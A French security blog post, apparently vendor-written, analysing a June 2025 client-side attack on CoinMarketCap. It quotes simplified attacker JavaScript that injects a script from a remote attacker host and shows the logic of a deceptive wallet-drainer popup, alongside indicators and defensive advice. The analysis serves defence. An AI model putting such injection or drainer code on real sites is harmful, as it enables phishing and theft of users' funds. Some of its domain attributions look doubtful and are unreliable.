Skip to main content
Blog
Blog Attacks

Attaque côté client sur CoinMarketCap : une analyse complète

Le 20 juin 2025, CoinMarketCap (CMC) — pilier de l'écosystème des cryptomonnaies, utilisé par des millions de personnes pour accéder aux données crypto en temps réel — a subi un incident de sécurité majeur.

Jun 23, 2025 13 min read
coin-market-cap-image-cover

Le 20 juin 2025, CoinMarketCap (CMC) — pilier de l'écosystème des cryptomonnaies, utilisé par des millions de personnes pour accéder aux données crypto en temps réel — a subi un incident de sécurité majeur. Une attaque côté client a compromis son frontend, incitant les utilisateurs à connecter leurs portefeuilles crypto via un schéma de phishing sophistiqué. Cette brèche met en lumière des vulnérabilités critiques dans les chemins de distribution de contenu de confiance. Même si nous ne savons pas si la réponse API a été compromise via du code tiers ou une mauvaise configuration interne, le résultat est sans équivoque : une exécution de code malveillant côté client via une API de confiance.

Nous analysons ci-dessous l'attaque en deux niveaux : un résumé accessible pour les parties prenantes non techniques, et une analyse technique approfondie destinée aux professionnels de la sécurité.

Résumé général : que s'est-il passé ?

Source : https://x.com/DarkWebInformer/status/1936209452878745680

Les popups affichés ne faisaient pas partie des fonctionnalités légitimes de CMC — ils étaient le résultat d'une attaque côté client ayant détourné le frontend du site.

Chronologie de l'attaque

Source : https://x.com/blockaid_/status/1936199273701687702

Le 20 juin 2025, les utilisateurs visitant la page d'accueil de CoinMarketCap ont commencé à voir apparaître des popups inattendus. Ces popups, conçus pour imiter l'identité visuelle de CoinMarketCap, invitaient les utilisateurs à « vérifier leurs portefeuilles » pour « conserver un accès complet » à la plateforme.

Timing critique : la première transaction malveillante liée à l'attaque a été exécutée à 16 h 57 (heure de l'Est) — un horaire probablement choisi pour coïncider avec la fin de journée des ingénieurs et des équipes de sécurité, retardant ainsi la détection immédiate.

Points clés pour les parties prenantes non techniques

  • Comment tout a commencé : l'attaque a démarré par un élément en apparence anodin sur la page d'accueil de CMC — une image « doodle » (un élément graphique décoratif, comme un logo thématique pour une occasion spéciale).
  • Ce qui s'est passé ensuite : cette image doodle était liée à une ressource non fiable (un fichier JSON) hébergée sur un domaine externe (cdnkit[.]io). Cette ressource contenait du code caché qui injectait un faux popup dans le navigateur de l'utilisateur.
  • L'arnaque : le popup semblait légitime, reprenant les couleurs, les logos et un langage urgent propres à CMC pour inciter les utilisateurs à connecter leurs portefeuilles crypto (ex. : MetaMask, Phantom). Une fois connectés, les attaquants pouvaient dérober des fonds.
  • Pourquoi c'est grave : bien que cette attaque ressemble à une compromission de la chaîne d'approvisionnement du point de vue du frontend — puisque le code malveillant était distribué via un point de terminaison de confiance — la cause sous-jacente pourrait être une modification directe d'une réponse API interne. L'origine réelle reste floue sans accès aux systèmes internes. Du point de vue du frontend, cela illustre néanmoins à quel point il est dangereux que des canaux de données de confiance soient détournés.

Analyse technique approfondie : comment l'attaque a fonctionné

Pour comprendre les mécanismes de l'attaque, nous la décomposons en plusieurs étapes, du déclencheur initial jusqu'au payload final.

Étape 1 : l'image doodle — compromission initiale

La page d'accueil de CoinMarketCap comportait une section « doodle », une fonctionnalité courante pour les fêtes ou événements (ex. : un logo spécial pour la Journée mondiale du cœur). Ce doodle était chargé dynamiquement via une requête API vers https://api[.]coinmarketcap[.]com/content/v3/doodle/get?type=5

L'API retournait un fichier JSON contenant des métadonnées sur les doodles actifs, notamment des liens vers des fichiers image.

La réponse JSON malveillante

La réponse JSON incluait une référence à un fichier hébergé sur cdnkit[.]io :

"lightModeFile": "https://static[.]cdnkit[.]io/cmc/6855a83d80876056dab0a5cf[.]json"

Cette URL ne pointait pas vers une simple image. Elle retournait en réalité un autre fichier JSON contenant du code JavaScript embarqué.

Étape 2 : JavaScript injecté — exécution côté client

Le JSON provenant de cdnkit[.]io contenait un extrait JavaScript caché, conçu pour s'exécuter dans le navigateur de l'utilisateur. Voici une version simplifiée du code :

// Vérifier si l'injection a déjà eu lieu
if (!window.cmcInjected) {
  window.cmcInjected = true;

  // Modifier la page pour masquer les éléments légitimes (ex. : le vrai logo CMC)
  const logo = document.querySelector('.cmc-logo');
  if (logo) {
    logo.title = 'Go to homepage'; // Faux titre pour imiter la légitimité
    logo.removeAttribute('data-text');
  }

  // Ajouter du CSS pour styliser le faux popup
  const style = document.createElement('style');
  style.textContent = `.cmc-logo svg{margin-top:-3px}...`; // Masque les éléments réels
  document.head.appendChild(style);

  // Injecter le script du popup malveillant
  const script = document.createElement('script');
  script.src = 'https://static[.]cdnkit[.]io/cmc/popup[.]js';
  document.head.appendChild(script);
}  

Observations clés

  • Exécution côté client : le code s'exécute dans le navigateur de l'utilisateur, et non sur les serveurs de CMC. Cela contourne les outils de sécurité côté serveur.
  • Vérification de persistance : le flag window.cmcInjected garantit que le script ne s'exécute qu'une seule fois par session, limitant ainsi les risques de détection.
  • Manipulation du DOM : le script modifie le HTML/CSS de la page pour masquer les éléments légitimes (ex. : le vrai logo CMC) et préparer l'affichage du faux popup.

Étape 3 : le faux popup — interface de phishing

Le script injecté (popup[.]js, hébergé sur blockassets[.]app) créait un overlay d'apparence réaliste. Voici son fonctionnement :

Structure du popup

Le popup imitait le design de CMC, avec :

  • Un titre « Verify Your Wallet ».
  • Un message jouant sur l'urgence : « Please connect your wallet now to authenticate and maintain full access to your CoinMarketCap account. »
  • Un bouton « Connect Wallet » stylisé pour correspondre à l'interface de CMC.

Logique JavaScript

Le script popup[.]js comprenait des fonctions pour :

  1. Afficher le popup : ajouter un overlay plein écran avec le faux message.
  2. Gérer l'interaction utilisateur : lorsque l'utilisateur clique sur « Connect Wallet », le script tente de se connecter à un portefeuille crypto (ex. : MetaMask, Phantom).
  3. Exfiltration de données : une fois connecté, le script communique avec des domaines malveillants (ex. : walletconnect[.]com, trustwallet[.]com) pour dérober les identifiants du portefeuille ou les clés privées.

Étape 4 : analyse des domaines — infrastructure suspecte

L'attaque reposait sur des domaines présentant des signaux d'alerte évidents :

Domaine Détails
cdnkit[.]io Hébergeait le JSON malveillant initial. Domaine enregistré en 2020 ; aucun lien direct avec CMC.
blockassets[.]app Hébergeait popup[.]js et f43f9316-f6a5-4626-bafd-fd4fd52cb490[.]js. Les données WHOIS du domaine montrent qu'il n'appartient pas à CMC.
admin2[.]prod[.]coinmarketcap[.]supply Un domaine mal orthographié (supply au lieu de com) imitant l'infrastructure de CMC. Le WHOIS indique qu'il a 2 677 jours (créé en 2018) et n'appartient pas à CMC.
walletconnect[.]com Redirige vers reown[.]com, un domaine associé à des arnaques connues.
trustwallet[.]com Historiquement associé à des extensions de navigateur frauduleuses (selon les avis d'utilisateurs).

Étape 5 : wallet drainer — payloads techniques

Le script popup[.]js interagissait avec une bibliothèque JavaScript plus large (hébergée sur blockassets[.]app) qui comprenait des fonctions pour :

  • Connexion au portefeuille : détecter et se connecter aux portefeuilles populaires (MetaMask, Phantom, etc.).
  • Logique d'attaque adaptative : personnaliser le flux de phishing en fonction du type de portefeuille détecté, afin d'éviter les avertissements de sécurité et les échecs de signature.
  • Signature de transactions : inciter les utilisateurs à signer des transactions malveillantes (ex. : approbation de transferts de tokens).
  • Gestion des erreurs : afficher de faux messages d'erreur (ex. : « Your wallet is blacklisted ») pour pousser les utilisateurs à réessayer avec un autre portefeuille.

Exemple d'extrait de code

La fonction customPopupOpen dans popup[.]js contrôlait le comportement du popup :

window.customPopupOpen = function(params) {
  const stepName = params.stepName;
  return new Promise((resolve) => {
    const errorSteps = ["blacklisted", "connect_empty", "connect_too_low", ...];

    if (errorSteps.includes(stepName)) {
      // Afficher un faux message d'erreur
      injectToasterMessage({
        blacklisted: "Your wallet is not AML clear, you can't use it!",
        connect_empty: "For security reasons we can't allow you to connect empty or new wallet.",
        ...
      }[stepName]);
    } else {
      // Afficher un spinner de chargement pour tromper les utilisateurs
      modalFooter.classList.add("loading");
      resolve(); // Continuer le script drainer
    }
  });
};  

Révélations post-attaque

Source : https://x.com/ReyXBF/status/1936276267797475526

Dans les heures suivant l'incident, un canal Telegram nommé « CommLeaks » a partagé des captures d'écran prétendument issues du panneau de contrôle de l'attaquant. Ces images, liées à l'« Inferno Drainer » (un outil malveillant bien documenté pour vider les portefeuilles crypto), ont révélé :

  • Total des fonds volés : environ 43 266 USD ont été siphonnés auprès de 110 victimes ayant interagi avec le faux popup de vérification de portefeuille.
  • Ampleur de l'attaque : le tableau de bord a mis en évidence la portée de l'attaque, avec des centaines d'utilisateurs piégés en connectant leurs portefeuilles. Cela souligne l'efficacité des tactiques d'ingénierie sociale (urgence, interface réaliste) combinées à la compromission côté client.

Pourquoi cette attaque est importante

La menace croissante des attaques via des scripts JS tiers

La brèche chez CoinMarketCap illustre un schéma que nous observons de plus en plus souvent : des attaques qui exploitent des canaux de distribution de contenu de confiance — qu'il s'agisse de bibliothèques tierces ou d'API internes — pour injecter des scripts malveillants dans les navigateurs des utilisateurs. Les attaquants ciblent de plus en plus les bibliothèques, les CDN et les outils SaaS intégrés aux sites web. Par exemple :

  • L'attaque Pollyfill (février 2024) a vu du code malveillant distribué via cdn[.]polyfill[.]io, un service largement utilisé pour la compatibilité des navigateurs.
  • Les scripts tiers ont souvent accès à des données utilisateur sensibles (ex. : cookies, adresses de portefeuilles), ce qui en fait des cibles de choix.

Pourquoi les défenses traditionnelles échouent :

  • Les outils de sécurité côté serveur (pare-feux, WAF) ne peuvent pas inspecter l'exécution de code côté client.
  • Même des services de confiance (ex. : plateformes d'analytics) peuvent être compromis, comme l'a montré l'attaque via le doodle de CoinMarketCap.

Vulnérabilités des chemins de données de confiance

Du point de vue du client, cet incident ressemble à une attaque de la chaîne d'approvisionnement où du contenu malveillant a été distribué via un chemin de confiance — mais la cause profonde pourrait être une compromission directe du backend. Bien qu'aucune preuve d'une compromission tierce n'ait encore été établie, l'attaque a utilisé un point de terminaison API de confiance (/doodle/get) pour distribuer du code malveillant. Cela signifie que même une infrastructure interne, si elle est mal configurée ou compromise, peut devenir par inadvertance un vecteur de distribution de malware — tout comme une bibliothèque ou un CDN contaminé le ferait. ⚠️ Clarification : s'agissait-il vraiment d'une attaque de la chaîne d'approvisionnement ?

Nous ne savons pas encore si une dépendance tierce a été compromise, ou si l'API /doodle/get a été modifiée en interne. Cependant, du point de vue du frontend, l'attaque s'est comportée comme une attaque de la chaîne d'approvisionnement, car du contenu malveillant a été distribué via un service de confiance — rompant la chaîne de confiance implicite, quelle qu'en soit l'origine.

Risques côté client

Les attaques côté client (code s'exécutant dans le navigateur de l'utilisateur) sont particulièrement dangereuses en l'absence de protection côté client, car :

  • Elles contournent les outils de sécurité côté serveur (ex. : pare-feux, systèmes de détection d'intrusion).
  • Elles exploitent la confiance des utilisateurs envers une plateforme familière (CMC).
  • Elles peuvent se propager rapidement, le code malveillant étant chargé à chaque visite de page.

Comment se protéger

Pour les utilisateurs

  • Méfiez-vous des popups non sollicités : ne connectez jamais votre portefeuille via un popup, même sur des sites de confiance. Les plateformes légitimes ne demandent pas de connexion de portefeuille via des popups inattendus.
  • Utilisez des bloqueurs de publicités : des outils comme uBlock Origin ou AdGuard peuvent bloquer le chargement de scripts malveillants.
  • Vérifiez les domaines : repérez les fautes de frappe dans les URL (ex. : coinmarketcap[.]supply vs. coinmarketcap[.]com).
  • Examinez chaque approbation attentivement : avant de signer, lisez attentivement les détails dans votre portefeuille. Soyez particulièrement vigilant face aux demandes d'autorisations étendues.

Pour les plateformes (ex. : CMC)

  • Auditez les intégrations tierces : passez régulièrement en revue toutes les ressources externes (images, scripts, API) chargées sur votre plateforme.
  • Subresource Integrity (SRI) : les SRI peuvent être utilisées pour lier des scripts à des hashes (ex. : ``). Cependant, dans la plupart des cas, les SRI ne seront pas envisageables en raison du comportement hautement dynamique de JavaScript. Les SRI n'alertent pas non plus en cas de violation, ce qui les rend difficiles à utiliser en production.
  • Surveillez l'activité côté client : utilisez des outils comme Sentry ou New Relic pour détecter les exécutions JavaScript inattendues.

Tirez parti des outils de surveillance des scripts JS tiers : les scripts tiers sont un élément essentiel de la chaîne d'approvisionnement du web moderne, mais ils introduisent également des risques. Du code malveillant injecté via des bibliothèques tierces (ex. : outils d'analytics, réseaux publicitaires ou polyfills) peut compromettre les données des utilisateurs ou permettre des attaques comme celle subie par CoinMarketCap.

Comment cside peut aider : des plateformes comme cside sont spécialisées dans la surveillance, la sécurisation et l'optimisation des scripts JavaScript tiers. Leurs services comprennent :

  • Analyse des payloads en temps réel : suivez chaque requête pour détecter les modifications malveillantes dans les scripts tiers.
  • Détection des attaques de la chaîne d'approvisionnement : identifiez les dépendances compromises (ex. : l'incident cdn[.]polyfill[.]io de février 2024 qui a injecté du code malveillant dans des milliers de sites).
  • Support de conformité PCI : assurez-vous que les intégrations tierces respectent les normes de sécurité pour les secteurs traitant des données sensibles.

Passez à l'action : créez un compte gratuit sur cside.com pour commencer à surveiller vos scripts tiers et vous protéger contre les vulnérabilités de la chaîne d'approvisionnement.

Conclusion

La brèche chez CoinMarketCap rappelle avec force la fragilité de la confiance à l'ère numérique. En détournant un élément aussi mineur qu'une image doodle, les attaquants ont infiltré une plateforme utilisée par des millions de personnes et ont armé cette confiance pour dérober des fonds. À mesure que l'adoption des cryptomonnaies progresse, la vigilance devient indispensable — tant de la part des plateformes qui sécurisent leurs chemins de distribution de contenu de confiance, que des utilisateurs qui doivent examiner chaque interaction avec soin. Pour les équipes de sécurité, cet incident souligne l'importance de la gestion des risques liés à la chaîne d'approvisionnement et de la sécurité côté client. Pour les utilisateurs, c'est un appel à rester alertes : même les plateformes de confiance peuvent être victimes de tactiques de phishing ingénieuses.

Un grand merci à notre ami et contributeur invité, Jack LaFond.

Himanshu Anand
Software Engineer

I'm a software engineer and security analyst.

Surveillez et sécurisez vos scripts tiers

Gain full visibility and control over every script delivered to your users to enhance site security and performance.

Commencez gratuitement, ou essayez Business avec un essai de 14 jours.

cside Interface du tableau de bord affichant la surveillance des scripts et les analyses de sécurité
Related Articles
Réserver une démonstration